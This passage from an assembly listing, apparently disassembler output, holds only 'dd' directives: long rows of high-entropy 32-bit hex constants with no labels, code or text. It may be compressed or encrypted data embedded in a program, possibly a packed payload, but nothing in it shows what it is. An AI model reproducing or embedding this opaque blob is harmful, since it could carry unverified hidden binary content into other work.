		dd 2C5C6082h, 9BC08291h, 0CF0CA802h, 207DB07Fh,	444C0566h
		dd 380814F1h, 94460B20h, 8A028C4Ch, 6F068335h, 96D5C490h
		dd 0C8D38703h, 0D06BEB21h, 6C7F853h, 0AB7AF3A2h, 3228588Fh
		dd 92F87080h, 0EA00C4B2h, 0C95F3DF0h, 1764206h,	5D3718E4h
		dd 0E13CEEF4h, 4B3ED4CEh, 0EDFA3Ah, 0A60ED570h,	3F5E94Ah
		dd 2ACC5C41h, 65A05A48h, 0D7007291h, 0E77C4504h, 83D019h
		dd 59A3EFD3h, 60460ADDh
		dd 3B17D700h, 40EECD61h, 0AE19E45Dh, 0CB8F3C38h, 0CA294D3Ch
		dd 0CF7A5018h, 72784BF2h, 2D60448h, 5F3ADDFCh, 7ABCE0F1h
		dd 3CF03ACAh, 0A065EF00h, 0A104D160h, 9BF0857Fh, 0F9D36201h
		dd 2B407C9Ah, 0AB10D189h, 0AD1ACD07h, 66385239h, 0B71404BCh
		dd 82E837C4h, 13AF97Ch,	92045Eh, 0ECE8AF7Ah, 682B0698h
		dd 303B72A0h, 0D841CA0Ch, 483A19B8h, 3419F42Ah,	3052119Ah
		dd 0D60063ECh, 54E2ABD0h, 600E60F1h, 0A74B5905h, 0F4A1F46Ch
		dd 8A0C4C61h, 0C60C88D1h, 630ED90h, 65D65AA5h, 249058ADh
		dd 0A0792862h, 0FA4C41BDh, 38164089h, 4C509C40h, 596EA730h
		dd 0A9BDDBECh, 4FED1678h, 0ADA25841h, 0A7BAF80Eh, 8F437EB0h
		dd 0D6DF21BFh, 0EF275C7Dh, 51A0874Dh, 0F8C83884h, 0D810209Fh
		dd 78021CFEh, 0D11164B3h, 660C877Fh, 4835CED2h,	2CC2B2E4h
		dd 70052A6h, 0E2F01051h, 0CC30FDCh, 3B9EC8E7h, 0CDFC2025h
		dd 0B4387E76h, 1B7D0010h, 0EA7A5057h, 19771631h, 0E4E12E4Ah
		dd 50591434h, 0ABA58AEh, 3DB9A7A4h, 68457464h, 2ACEE0C4h
		dd 818CE85Eh, 20998BCh,	0ED11FBB8h, 0E605702Ch,	4259C5D0h
		dd 6369D3F0h, 0EBF1F898h, 4058DB12h, 5984EAB1h,	88B8417Ah
		dd 0C51AD504h, 6CC14253h, 518C8198h, 2E46A14h, 0B36C1D07h
		dd 0C87C64EAh, 0D2406998h, 0C993925Eh, 9C68D891h, 0F4616E60h
		dd 0D33C5851h, 2E7A884Ch, 288869D2h, 780B4264h,	487E8728h
		dd 25DA6E16h, 0C50F08Ah, 5C3E8934h, 99D15D80h, 596F850Ch
		dd 0A4E08C02h, 5004C5AFh, 88A6B44Fh, 88E0A069h,	9C10F46Ch
		dd 20A5D585h, 0BAD83E94h, 9602749h, 193FAB0Eh, 28143728h
		dd 99D1F080h, 0C0FE890Ch, 267D7178h, 7D0C5B07h,	0FAAD7D88h
		dd 28BBC4C0h, 0E3A8848Ah, 0BCA28050h, 0C20CA0A8h, 0C504626h
		dd 0FF9C0F48h, 21D4F923h, 0AA25E879h, 0FCFBA0D4h, 8109372Ch
		dd 253C5C56h, 0D8351314h, 6A6F7488h, 0F85061A6h, 818FFA1Ah
		dd 0EA310AD9h, 1D518AE0h, 814DA8CFh, 6D58F1h, 0ADD8A929h
		dd 0D958042Ah, 114C52B5h, 0AEF82C67h, 23768D98h, 5F7CFA08h
		dd 805020A9h, 490168D8h, 0E668FEFh, 18A81F2Fh, 78F42078h
		dd 0CC5ECF29h, 62B71405h, 38D8B4B1h, 304003F6h,	48874C60h
		dd 6271CCBFh, 9C021941h, 37A82584h, 0BE2A13Ch, 0E8451E83h
		dd 7B1F3C1Ch, 87674731h, 58C8ED92h, 4F233499h, 15C6C281h
		dd 482BF202h, 0A0BE1Ch,	0B7533422h, 44BAB64Fh, 5DB20700h
		dd 9A7688Bh, 90996Eh, 1E28AF2Eh, 593AD0CFh, 65C38120h
		dd 5368B574h, 76B048C6h, 17F035h, 86CCABBAh, 8BC9D865h
		dd 2111E40Fh, 0D9D003D2h, 4881092Dh, 8F80922Fh,	0CD93DE9Ah
		dd 3F065700h, 410E4449h, 21A50432h, 923BB874h, 492055E4h
		dd 1CAF5A8h, 61CFF80Eh,	0F0F69BF7h, 0DC0024E3h,	827F7EFAh
		dd 2983585h, 816111D1h,	0FC71B43Bh, 0E3486503h,	0BBE0A007h
		dd 91D5026Eh, 3FB712F8h, 6100347Ah, 965AE287h, 7A0EFDh
		dd 81686C03h, 0F8760180h, 52F7A200h, 0BC3ED2DAh, 0CCD7018Dh
		dd 0EE53D1C7h, 840F09Fh, 6A1CFDECh, 0DBCFA302h,	45B7E0D0h
		dd 14FB9EAh, 0B23CC37Fh, 0F4B00C38h, 27017C79h,	53072A9Dh
		dd 847D3BF3h, 24F5EB11h, 424094B7h, 0D4653Ah, 0FA1B90ECh
		dd 0BA5C5DF6h, 53213267h, 4D1DA280h, 87D40086h,	217FBBFAh
		dd 3718C22Fh, 9B2960B7h, 48B60096h, 0BD8FE7BEh,	0F0088B3h
		dd 16116ADEh, 6D4908h, 82A3534Bh, 5EFC6446h, 8DC70700h
		dd 0DBCFD323h, 0CED6011Ah, 0C920308Fh, 0D0E1D191h, 0DA7F6390h
		dd 2D871F00h, 0E5261C27h, 20920F03h, 21A0C2D6h,	758FC6E8h
		dd 22CBD40Fh, 203ABF1Eh, 10246129h, 0F1218CCAh,	0D22CFCC6h
		dd 81DBCC3Dh, 751FC2D7h, 34E1DEE6h, 1E8FD4F0h, 0FD5E52Dh
		dd 2400D625h, 4DCAE11Fh, 0B8409534h, 4EE046Bh, 1ED5F339h
		dd 4DD0B480h, 0BFD8141Bh, 4BA018FBh, 10C0940Dh,	0FF3D0BC6h
		dd 1E8B75EDh, 0FE3985CCh, 0DADBFD9Fh, 0CC018F7h, 333E56D3h
		dd 0E7C40D62h, 0D8D7595Fh, 3692F13h, 0B3433E06h, 12E8082Bh
		dd 4A007FD1h, 805EFDEDh, 3C10EC89h, 7F6459h, 0C5695A0Ch
		dd 91F8E8F7h, 60505807h, 0E0C0C4CAh, 0E2254A82h, 0E9D30199h
		dd 429A95B7h, 0E71880D8h, 74FDDC7Eh, 71920A06h,	340CEEAh
		dd 7BCC4027h, 8F8AD91Fh, 950E639Dh, 80F898E8h, 0C4FE0831h
		dd 0FBC03BAEh, 11A335CBh, 0B1FC819Ch, 84C59AACh, 3671080h
		dd 8BEA92DFh, 2D3568C1h, 0E08D1C70h, 0C56830F1h, 1FF895A3h
		dd 92AD07BCh, 40FCDF36h, 85D0200Bh, 3669C80h, 0ECD3BF1Eh
		dd 40B19818h, 8C9B5259h, 0D1EDEA81h, 81601EBBh,	5DAB9E86h
		dd 50A488A1h, 0C73DFC8Ch, 0CEDA302h, 48024B48h,	7FD1690Ch
		dd 49930368h, 5332A42h,	892865E3h, 0FD644860h, 2C9C9C48h
		dd 6422F924h, 59C194B8h, 31D7DD6Ah, 870570h, 8FD5066Dh
		dd 41DAAAECh, 90CEE80Fh, 8CC1DE75h, 86C6D62Ah, 0C6D2E7E1h
		dd 502F5878h, 0D2208B0Bh, 7B9D540Fh, 403E2E1Eh,	0E5318CC7h
		dd 887AE809h, 0B7604CE1h, 5F3DCAB8h, 0C81E95FEh, 36428304h
		dd 9AFBE234h, 3508000Ch, 0F9E82E24h, 74996312h,	891DA28h
		dd 0D91F166h, 70027CF1h, 0E422A09Dh, 8FAA432h, 0DAD0B9F4h
		dd 8AA0084Ch, 6C384C05h, 9CA0830h, 2659101Ch, 813AF213h
		dd 84646B6h, 1EC417Ch, 254A470h, 0F09C6D74h, 0E452A444h
		dd 0DD1F150Ch, 1C50908Ch, 45A4228h, 8FA49128h, 228E0991h
		dd 8B904491h, 8D128A89h, 87488C24h, 89228691h, 89838844h
		dd 24851282h, 917F4884h, 7813E7Eh, 0F645346Ch, 0F83B3130h
		dd 0D1FD661Fh, 6552B801h, 48ACA84h, 5F59655Dh, 94FBC008h
		dd 95060CE0h, 3E668D3Ch, 80613E45h, 59634104h, 0E642B6Dh
		dd 0CD39406h, 66BD017Dh, 0D1C58F7Bh, 0E0ADD183h, 0D56E9505h
		dd 102B0840h, 6D740124h, 9489644Bh, 94E4D3E0h, 87FED748h
		dd 0B855FF04h, 0BC88CC4Ah, 0F33F2B0Eh, 0BE3D282Fh, 3863C014h
		dd 1ED201ABh, 0FD33F01Fh, 0E48F1301h, 9C815F6h,	8538A210h
		dd 5857FD04h, 7900A3E5h, 1E035BC7h, 50E0594Bh, 29581010h
		dd 5638FBA0h, 86D55100h, 0C6D1BD10h, 0F2E77CD9h, 4E18C05Fh
		dd 2C1280FDh, 818F6305h, 1C0F62ADh, 0EB388069h,	0E609CA04h
		dd 5E28A401h, 3EE4A767h, 26048C1Eh, 304B28FDh, 4D309473h
		dd 0CC01D52Fh, 0C0E52D20h, 9F05F88h, 0F0EBF21Bh, 0E7300023h
		dd 0EA62FBC8h, 2E0F91D4h, 0B48ED5E5h, 0C125A314h, 3083C7CCh
		dd 1A8CCBD7h, 301FD4E0h, 2D9280h, 2220DCD3h, 9551C2E4h
		dd 87C51300h, 4D63D41Fh, 0D0E91831h, 23D5184Ah,	0CEDB2201h
		dd 0C6D41E8Dh, 288067D3h, 94CF402Ah, 1AE8D729h,	0D0D52118h
		dd 61D4CC78h, 208F3124h, 0D55985D7h, 0C348BCAh,	2E4DA820h
		dd 5EC27BE8h, 210CF026h, 2C8F88A0h, 0F8C9D329h,	937D0E80h
		dd 0F04A7F06h, 2E1122EDh, 0C6E28B01h, 0FB62336Ah, 9063EF15h
		dd 119864Ch, 0F3CD2867h, 0C104062Bh, 0EBE0D301h, 442F713Fh
		dd 6024D3BCh, 9C68B342h, 0DB24C102h, 0A005C582h, 6ECD21ECh
		dd 7F741B92h, 14E16897h, 1FA98803h, 0E40B0765h,	0E033403Ch
		dd 0A3808EEAh, 15E1CA72h, 0C471118h, 68DD24C0h,	0A411F161h
		dd 4A31868Ah, 63814569h, 0FEDF59E3h, 0F0B44FC4h, 2A46AC1Eh
		dd 15754040h, 557C29C7h, 8B7F6941h, 84AC598Ch, 6D626881h
		dd 84A94B79h, 849E02Ch,	0C874150Eh, 8FDF4C0Ch, 0D83C0120h
		dd 8BEB8084h, 0A3BE9AC7h
		dd 18A09036h, 5168C482h, 0FF067EA1h, 94066937h,	0ACCE0679h
		dd 30A83892h, 0B998A430h, 0A8A27D8Eh, 1EB6E5FCh, 2A764CCBh
		dd 99E860A4h, 18D0BC5h,	418BEE18h, 30EA87F1h, 0AD31E0CEh
		dd 18C56674h, 4C059747h, 5810D381h, 89801184h, 0BAC4CA0Ah
		dd 63A23FC0h, 0DB66A506h, 18304B04h, 18FA8D68h,	4CA1B765h
		dd 4958540Eh, 54362FE8h, 0A903C13Eh, 7B10A434h,	238672B8h
		dd 0B83129E3h, 3C0BF3F6h, 0F929C4DCh, 622EC80Ah, 673081FEh
		dd 28EA50DBh, 0D5718501h, 428D5908h, 421473C6h,	43B13ED7h
		dd 0A7A72F1h, 8911C121h, 6A420AA8h, 0E144AB88h,	6C427A6Ah
		dd 0B944B888h, 9446106Ah, 1110A3A2h, 0AEE287FDh, 8FA3306Dh
		dd 6C245C99h, 296EC442h, 6DF8C10h, 34C131C1h, 21836699h
		dd 1DA79DEDh, 0FD406164h, 20658CC2h, 3B06C40Dh,	58EF1C32h
		dd 0C9B2562h, 19784640h, 886BFD40h, 8519C36Dh, 6811B0C5h
		dd 0FD524C06h, 2E0134Ch, 4209832h, 9DC4C86h, 3C5CF795h
		dd 32CC0CE9h, 4911E6E0h, 92AE9E12h, 8634E827h, 0A80DDC8Dh
		dd 0C0C34983h, 11093FDCh, 1EECA42Fh, 6911F1A4h,	0EB5260CCh
		dd 412310C0h, 0F34013Bh, 0A165E44h, 63EC4900h, 0E505252Dh
		dd 0ED4E30C9h, 0EB34F080h, 54911FC2h, 428B9F40h, 3E1ECFE1h
		dd 2C953CE0h, 3AC2E71Dh, 0FC16F756h, 20301C07h,	0A7CEDA43h
		dd 45640161h, 1C29E0EBh, 0D1E93021h, 8FD0D940h,	2E0ACDF8h
		dd 40D32B87h, 0D1D6834Fh, 878BF722h, 0C7C25194h, 1B04E21Eh
		dd 89980530h, 30C2D722h, 231C2B1Ch, 195E440h, 218DD507h
		dd 4D87D4D6h, 0A8207260h, 0C2D60022h, 10D7231Ah, 0DEE8634Bh
		dd 25189057h, 40EC54D3h, 0A145B93h, 801C922Eh, 8D052C23h
		dd 0C400E51Fh, 0FD16171Eh, 9DC1539h, 958F3819h,	394DB780h
		dd 8C05C80Bh, 17C7E12Fh, 40701474h, 1391864h, 2944B812h
		dd 0D01AC5D3h, 7995D4DCh, 891D1E2Ch, 0D065FD10h, 0F93EE057h
		dd 50003130h, 422E35EDh, 0EDF63F4h, 92D0DC1Eh, 86C2D482h
		dd 1FB83460h, 0D40035E3h, 0DE75B7D7h, 91FF4009h, 1A982039h
		dd 7355DCD3h, 26BF7C61h, 3040DA2Ch, 95920250h, 17D5251Eh
		dd 6C6A2026h, 84E4390Fh, 0EC831B22h, 7498C490h,	125F3E50h
		dd 4CC59069h, 421542D7h, 2BC93041h, 2C2F98B0h, 9290318Dh
		dd 4D406275h, 31DB5848h, 95CED616h, 0DD095401h,	0D030CC45h
		dd 7E53C1Eh, 0C8E1280Ch, 0D24CD740h, 0D02000C0h, 3D43423h
		dd 0D5223A94h, 8C48253Ch, 0E188E900h, 0D22C86BFh, 7090CE2Ch
		dd 808FC609h, 75920CFCh, 9A090D0h, 90CFE928h, 60FC8C5Dh
		dd 0EBCE7CEAh, 4AB458A8h, 8F10F9CDh, 8D8EAED9h,	0EBE1C8E1h
		dd 0E92322E0h, 208F30BAh, 0A1188ED6h, 60F9D72Ch, 0CC02D358h
		dd 9CD3491h, 0F544D9FDh, 0E8F894DAh, 2E30788Bh,	67D48E03h
		dd 31939012h, 60B1C020h, 7E25639Eh, 184EF2C8h, 0A3F8D095h
		dd 1CC494F0h, 2284D2ABh, 2B8DE841h, 0B0FAC4F6h,	59303215h
		dd 50BC4E7h, 0B40524CAh, 3E49CC2h, 8B0C224Dh, 0D59801C6h
		dd 0DC611FD3h, 0D39CA52Eh, 0D0858FF7h, 20C4891Eh, 1C62031Ch
		dd 0C2229209h, 65E494C4h, 90D05090h, 2CE76DC0h,	3C2070FFh
		dd 10D2D326h, 0E769E51Bh, 0CC2E07DFh, 20C89055h, 2CD75222h
		dd 303C1FD2h, 348FD080h, 3034D64Ch, 7591581Ch, 86D40FE7h
		dd 0B098D525h, 3FF46E12h, 509018A6h, 0ED3CDC25h, 0B8D8F53Ch
		dd 0DC630917h, 0BA7D8B34h, 291C16B0h, 0D1181EDFh, 8FC86434h
		dd 0C2DA5005h, 683B218Dh, 3E2035C0h, 8F2CD2E8h,	8D0BD831h
		dd 2C64A045h, 5524C2CCh, 0F86C1830h, 200750D1h,	434C2D23h
		dd 0D0958B1Fh, 0CEE81A20h, 1338875Ch, 44C793BFh, 0D4E9826Eh
		dd 273C798Dh, 4AFBD498h, 3E07CFE8h, 91CEDA23h, 1ECAD2D1h
		dd 0B831D4E0h, 0C6E9128Ch, 5000FE21h, 409453Ch,	9C45F940h
		dd 0CBDB5080h, 2021C722h, 1AD5B11Dh, 8CCEFC2Eh,	3092509Eh
		dd 3395C8D8h, 0F768D3F3h, 0E0E128EAh, 0D68042C6h, 7603497h
		dd 5F341ED6h, 2F5074D4h, 8CC88234h, 8290FB1Eh, 318DC708h
		dd 54DBF080h, 0DD002EF0h, 8CD5D650h, 30D1201Fh,	30212C23h
		dd 911DCFD8h, 2214E734h, 32033CC8h, 0D921902Dh,	294001E0h
		dd 4DD2308Dh, 0F3104B38h, 91C6F83Eh, 0E8F76F21h, 28C0E986h
		dd 123A60BEh, 1C10D605h, 2D9606DCh, 420C7E9h, 1F8FDBE5h
		dd 921CE8E1h, 0E0DCB8C5h, 0C43B5163h, 90E2DDF9h, 9C03FE8Ch
		dd 22C2C0F8h, 2DF8E423h, 8A88D8DBh, 0A2DC8ED7h,	438E2520h
		dd 29403C5Ch, 22892602h, 463C8E7h, 80C434C3h, 691ED0A8h
		dd 21672E14h, 0F0CF2AB0h, 756C7897h, 323B5FEAh,	0C48109DCh
		dd 901F03CDh, 0D01591E9h, 0DC5358DBh, 0D6FB6012h, 0D5163060h
		dd 0D48C6992h, 4825771Ch, 0E12944C7h, 6432A5F4h, 0CF48F07Ah
		dd 300F4E20h, 6328834h,	0E81AD2D4h, 2E1C2714h, 720851F0h
		dd 31ACFF18h, 0CFEA2204h, 0DCC03494h, 3E93A17h,	0AF951EC9h
		dd 3180029Fh, 8B7BEE15h, 8532E201h, 7FA36233h, 7A6A4110h
		dd 8CB42F01h, 0EBEA12F7h, 0B584ECh, 0D585B09Ch,	9589A3AEh
		dd 20B54BFEh, 8736DC30h, 388203B8h, 507B6024h, 21D80830h
		dd 873E41h, 36A60970h, 0E0DCC5BEh, 57BCC40Fh, 2B164093h
		dd 7B1F46C1h, 6A9A189Fh, 20FC987Ch, 0B6E54913h,	9524E4h
		dd 3E2BFED4h, 53D3A3AFh, 0CB84460h, 9DFD02C5h, 56085C50h
		dd 7692DCh, 0E33B874h, 0E5608A7Dh, 7A906420h, 0D53029F0h
		dd 8BEDC220h, 0E36EA833h, 781D600Dh, 0EB48CB7Bh, 6E9B7E3Ah
		dd 0C1802098h, 9FCAE7Ah, 0DCFB68A1h, 0C757F8F0h, 2C708468h
		dd 94ED24h, 0CDBD9D08h,	0A594A7Fh, 0E0F839B1h, 1276641Ch
		dd 0B8EC26FFh, 38D8923h, 0E396AD8Ch, 0A358D813h, 1AD0F4h
		dd 0B7BA7C53h, 34BBE894h, 0CEF2C90Ch, 3069A868h, 9818E6A4h
		dd 4A005CC6h, 80C4586Eh, 5FBB0D3h, 0CF408BECh, 7EAC2802h
		dd 52D46A80h, 8234C97h,	84101CA3h, 880D52Bh, 74C1C83Eh
		dd 3DF96D5h, 32402698h,	310091A5h, 1DA0E275h, 0E0FFD40Ch
		dd 0A006B514h, 4B002181h, 90BA0FAh, 0CEE17AB5h,	4A7EC478h
		dd 3DD40DCDh, 3BB61473h, 0C69EE82Fh, 10301366h,	0E4C49D2Bh
		dd 8DC750D0h, 51779E44h, 0EB36ADh, 0E90BEE35h, 0EAEC0305h
		dd 987269D2h, 35402715h, 0A0DF808Ch, 87DC0C18h,	0A0F74E00h
		dd 207D8797h, 0ED0E49AAh, 0CA992ABBh, 0CE848403h, 0DC102B97h
		dd 12F3F611h, 70048C8Fh, 21416AC6h, 0A7323437h,	9346438h
		dd 8724F367h, 0B04C00D7h, 19AF3D18h, 386376F2h,	0A4276EEDh
		dd 0F030A4C9h, 0BB873D60h, 11508223h, 453C00F0h, 0D4687787h
		dd 0DCAD2BBFh, 3139E454h, 83008DABh, 6BE9250Bh,	0D37AB001h
		dd 0C10030E5h, 8090BBDEh, 2EC8C49h, 45F4D040h, 0F2209EF7h
		dd 68088CE8h, 3C0BC0D3h, 0B7C8AD8Eh, 28B8BCECh,	6652771Ah
		dd 6010D6A0h, 0E3B808F7h, 2DC00F50h, 52C4B003h,	0C3E2C8FCh
		dd 7830635Fh, 58060E21h, 789E9243h, 0B4D31619h,	618E772h
		dd 709CD8E3h, 0B3430118h, 0EE72D2ECh, 240EE17Eh, 1E28AD80h
		dd 0A27CA0EAh, 18259332h, 1614603Ah, 8B248087h,	6C5FF612h
		dd 7723C83Ah, 0ABC0E300h, 3DEF7Ch, 3E11E708h, 6C3AD705h
		dd 48EA9D24h, 0ABCF5983h, 0C80041Dh, 0EB526AB5h, 59F450DDh
		dd 89AC0664h, 20048AB5h, 3B20D090h, 3F309834h, 8984C53Ch
		dd 70F6E2h, 2950C41h, 0CC30C0D8h, 97B025E3h, 0F1464090h
		dd 0BE873C02h, 0F4314882h
		dd 87443B10h, 130FD758h, 0B437F6AEh, 0C1314E0h,	60AA0B72h
		dd 2C703B6Fh, 3D43256h,	491725BDh, 0DE7DE82Ch, 0F870AEDAh
		dd 2B5C9AD6h, 79B8AC59h, 8B7AF8CCh, 5C131103h, 80A352h
		dd 32923B21h, 439A389Ch, 80216E3Dh, 9547A40Ch, 1421D6Ch
		dd 7B4DC0Dh, 8A4C46C5h,	74846988h, 667D0C02h, 11845E9h
		dd 3663CE49h, 95B464ADh, 0C0BA2000h, 0DFCFC932h, 1FC11D91h
		dd 21E739E1h, 7FC2E00Ah, 0A700188Fh, 7A2B02A8h,	806F4E9Bh
		dd 0D4EFF440h, 0C300FF62h, 0A275F189h, 0FA31B05Bh, 3A27003Ch
		dd 0C2137907h, 1001AD7Ah, 1DAC2476h, 9C5BB33Eh,	0A4D257C0h
		dd 651D4213h, 10C5C231h, 8060748Dh, 914892C5h, 0B29D4258h
		dd 0C8A1BC46h, 0D448C288h, 143325B3h, 0F2826C63h, 0C9E4415Eh
		dd 9EEA2180h, 0E6E9FD16h, 77C1A20Ah, 4B67ACA1h,	88407035h
		dd 0DC26BEE0h, 0EF6A00D6h, 35101EE2h, 0AA036C0Dh, 11FAF9E8h
		dd 66FA821h, 0ED7D02B3h, 4A8514ABh, 8C86677h, 69829729h
		dd 980B6703h, 0A4890C1Dh, 31B04AD1h, 82B5060Ch,	0B0B9E8ECh
		dd 54520A0h, 182CF481h,	3CC004BCh, 2DE11FC9h, 0C234C0h
		dd 0FEC00750h, 225A2E25h, 4CECCB4Eh, 2CF92180h,	0EC049266h
		dd 5ED3307h, 0E003B890h, 9B6B794Ch, 8B8A9278h, 0C0F5884Ch
		dd 0CF1563BDh, 0B466E826h, 35AD43h, 4CD3B0A9h, 0F6A178F5h
		dd 0BB00D5E2h, 681C7245h, 4D035A2h, 0E320FD9Fh,	15D88CEAh
		dd 7C185E27h, 0EC5B140Ch, 0E8449D3Dh, 74CAF829h, 0D0C77D04h
		dd 2D5FC0C1h, 92573007h, 0ACA111ABh, 4BD1831h, 0B7C939C0h
		dd 580934DFh, 0B0510707h, 77ADE902h, 0CE09E866h, 0DD6844FBh
		dd 3404BCA3h, 27EEF8D0h, 0E35E717Dh, 0B42034C5h, 5CE2C23h
		dd 97689053h, 9270203Eh, 0FB29CD71h, 1E00283Ah,	77EEE2CEh
		dd 0FBFE8670h, 2362180h, 0C3E0CFCEh, 38C99456h,	0D0800424h
		dd 3043E13Dh, 66517368h, 41E0D499h, 0E5276705h,	0F000C23Bh
		dd 0F3CD269Bh, 6FD205C1h, 8CC5C454h, 0EE08DB98h, 9E26876Eh
		dd 0A17480A7h, 7FFEDF0Eh, 0E07C8782h, 82EBEC37h, 6ABE44h
		dd 756CFB69h, 2C4A98B1h, 3880F511h, 2882BA87h, 3FF3448Ch
		dd 0F20387E6h, 90B9C049h, 9848E59Eh, 0CE1AC03Eh, 177FEEDEh
		dd 3ECA486h, 2FCE3225h,	5900EC4Ch, 0E5D9CA43h, 0A959F5h
		dd 31578214h, 0AC41FE9h, 0A02D2409h, 0BD6C40DFh, 1CC8D371h
		dd 737C50D8h, 0D02DCA26h, 0CB584AC0h, 29961615h, 0FB7C08E1h
		dd 298732C3h, 11741850h, 3A4503EFh, 8C92F987h, 432348Ch
		dd 0BD3EDAEEh, 6924CC66h, 71D980E3h, 9CF9DB8Ah,	7AEC07A1h
		dd 0D0199B8Eh, 9D0CE4E6h, 74F3062Ch, 26AD6940h,	8E8B1EDh
		dd 38264113h, 51DADE08h, 0A298234Eh, 0C7F93038h, 239B8812h
		dd 0C685D043h, 4CB118F7h, 45A7F1F1h, 458F58h, 6902A3E6h
		dd 7B6C6CDh, 0BD96B39Fh, 74EBB04Bh, 0E200C4D5h,	0B222F7CBh
		dd 0E0D72597h, 0B8FE4C2Bh, 0FAE741C1h, 372C0173h, 20583826h
		dd 8E189C0h, 0EF78DF20h, 3346FCB2h, 32A0F902h, 7631EC0Ch
		dd 0A0F15410h, 0E49AA301h, 3FB6418Dh, 4AE04AE4h, 0C954002Ch
		dd 970B76E2h, 7D90EA00h, 0F694FAC5h, 826A184Dh,	7BCA1815h
		dd 8C07DAEAh, 420D8DFFh, 8BF39960h, 4DF10058h, 6A977EF7h
		dd 870FF08Ah, 6E70D5E4h, 0ED06B7ADh, 8139A1CAh,	389DB087h
		dd 0BF9DCC7Dh, 1A306F18h, 58EF514Ah, 0CA421870h, 0D791092h
		dd 29A75A30h, 819BD212h, 0A9E2F0B6h, 0ED2818C0h, 70D77454h
		dd 0AE3F033Dh, 16DA684h, 7283C803h, 0C2A90Ah, 9B5A7038h
		dd 7E41C184h, 0F467C701h, 0A5FA0A6Dh, 889E20BFh, 0C8E07D37h
		dd 0A7E31085h, 8679E03Bh, 0CC718908h, 88093008h, 0A7DB3320h
		dd 10C4F90Eh, 914B801Fh, 0A320E681h, 8576B89Ch,	0CA88C709h
		dd 9C90AACCh, 70FBC01Ah, 0B34647DAh, 0DDBFFE0Fh, 244B036Ch
		dd 9ABF880h, 7CCE4DCh, 58DE0BF7h, 0B0FB102Fh, 88636D97h
		dd 0EFA79449h, 0A4D63A41h, 577BC080h, 1D13DB3Bh, 43BC7A54h
		dd 29B8E456h, 0B10ED4CCh, 6719CFB5h, 0C5806C65h, 8B7D07h
		dd 0E31E169Fh, 8C1DAFB7h, 7CCBCF01h, 9A352E4Fh,	662C8960h
		dd 21C60862h, 4F74F200h, 0A7960D8Ah, 0AD6E1397h, 8100EB1Bh
		dd 23BAD981h, 0CD6C3C15h, 2BD59B80h, 0BDCCDDDBh, 0DE188CF8h
		dd 0AB48D72Fh, 0A90D0083h, 5419A286h, 9E001ADFh, 55D4BAD5h
		dd 0C128951Fh, 4FAA2029h, 61A3D86Fh, 4CC25300h,	669DAD39h
		dd 98C0DC98h, 5AF20897h, 221DA401h, 922CDCB0h, 5DF41E0h
		dd 6B1DEB5h, 13D8D095h,	78008D7Ah, 0C3EE86C2h, 6ECD5415h
		dd 1EC5B046h, 778860DEh, 3521294Fh, 6FEDC072h, 0AD00BE4Fh
		dd 22B460ACh, 508A2Eh, 31A40583h, 37BD6B8h, 0F67ECB0Ah
		dd 4674B8CEh, 83C601C3h, 0AB3F321Ch, 0A0F8ADF8h, 0F09F17B4h
		dd 0E3E131B3h, 80DA7510h, 0DCD28CE0h, 0F692E83h, 48F2646Dh
		dd 8F1745E0h, 9255A4BBh, 51F89F84h, 0DB2E3C20h,	8C48E7B0h
		dd 0A00AB544h, 0A4D27C49h, 371FCF01h, 0DECD22DCh, 0AB3F3FFh
		dd 43315868h, 0AAB100ECh, 2F5B8729h, 7FCE9212h,	6952A501h
		dd 209CB2CBh, 10E6121Dh, 76F32087h, 187066CCh, 98E615DBh
		dd 800159EBh, 41584CA9h, 3883B607h, 0D0CC11E3h,	0AD16A805h
		dd 904061DAh, 0E6A390F4h, 0BDB82A1Fh, 0EF5D00A8h, 0A132EA91h
		dd 6D00609Dh, 0A3A22831h, 6F12EBCh, 0B4421CDAh,	350050C8h
		dd 5C948165h, 0CAC6D631h, 89C6E70h, 5014C91h, 2D355D1Dh
		dd 0FF5A3D4h, 991783FBh, 54CDDB25h, 201070A8h, 2CFC001Fh
		dd 0E505974Bh, 0AC63348Ch, 767D8098h, 952426ECh, 36807C2Ch
		dd 64059106h, 5C3177DAh, 4D000CA5h, 0D297F82h, 0ADF041ABh
		dd 0AC3998A0h, 0D2747312h, 9EF0040h, 358EAE1h, 50904220h
		dd 0E4A341F0h, 2152100h, 3707A9E1h, 0B60D02E6h,	25AE98B9h
		dd 0DF9DB882h, 4658E206h, 0E1060270h, 310858E7h, 0FF1210E6h
		dd 610200E0h, 50F2765Ch, 0E401B186h, 6B9F7CCEh,	8EF188B2h
		dd 8D92A840h, 59EFEE1h,	6DA1404Eh, 54B800D5h, 222452EDh
		dd 30DE920Ah, 73868845h, 69D975h, 87B499AAh, 0EEB8ED0h
		dd 78608A07h, 0B4BA5453h, 0CF0EACA2h, 60679F0Bh, 21F6EBE8h
		dd 0E5310C5Dh, 0D4E82F30h, 68918C81h, 96061D7Bh, 8B800020h
		dd 3777B722h, 0C248FF1Bh, 8E260868h, 549B06E1h,	1C9069EEh
		dd 7802DF46h, 7A352A4Fh, 0EE10C831h, 5C014F70h,	887A028Dh
		dd 46923C30h, 0A4BC04ACh, 0A1BA43E0h, 0C913F9Ch, 11E57803h
		dd 2144D940h, 6200DE88h, 875BF318h, 8B669Fh, 0C5F1CB2Bh
		dd 539B226Fh, 3230620h,	0EB32D811h, 0F1012694h,	0A19DEEC7h
		dd 0DF9A36Ch, 0CD7C6088h, 0EC3721C0h, 1968C7EBh, 1B0A920Dh
		dd 2CABB480h, 29D0D311h, 460C01E0h, 0B11B3195h,	18649820h
		dd 0F9B2509Bh, 0D600E82Ch, 0F4739A13h, 60020755h, 8BE75870h
		dd 3A599184h, 0D0F7121Ch, 432CBC60h, 0EEAB0097h, 0FACD89F2h
		dd 0F4A9D3F4h, 0A33040B8h, 0D6038BFBh, 6C194274h, 1508E29h
		dd 0FA86DCBAh, 0A4FF38h, 0E0CFF670h, 0E9906106h, 706F2CACh
		dd 0D00C3B81h, 8130D21h, 0D121C0A1h, 0F106F24h,	19373500h
		dd 2CFD9F8Ch, 0E0E84112h, 89C0BFB7h, 0A8D4AF11h, 0E6E9078Ah
		dd 70BB4A27h, 0F1DB8DD9h, 1B07A313h, 410B7900h,	0A3B98049h
		dd 9BF010B8h, 18704C97h, 98F8FC50h, 9CA32C39h, 0C50C83A4h
		dd 0C0106E6Bh, 27C005FBh, 1315766Fh, 0CCA2448Ch, 336F1F17h
		dd 0B2507D1Bh, 1480CC2h
		dd 2D7E84ACh, 43157C10h, 6F25D2E0h, 2090C703h, 48EA9BBh
		dd 630EC19h, 8DFC816Eh,	41CEE04Eh, 0E0A29B2Ah, 94E31B29h
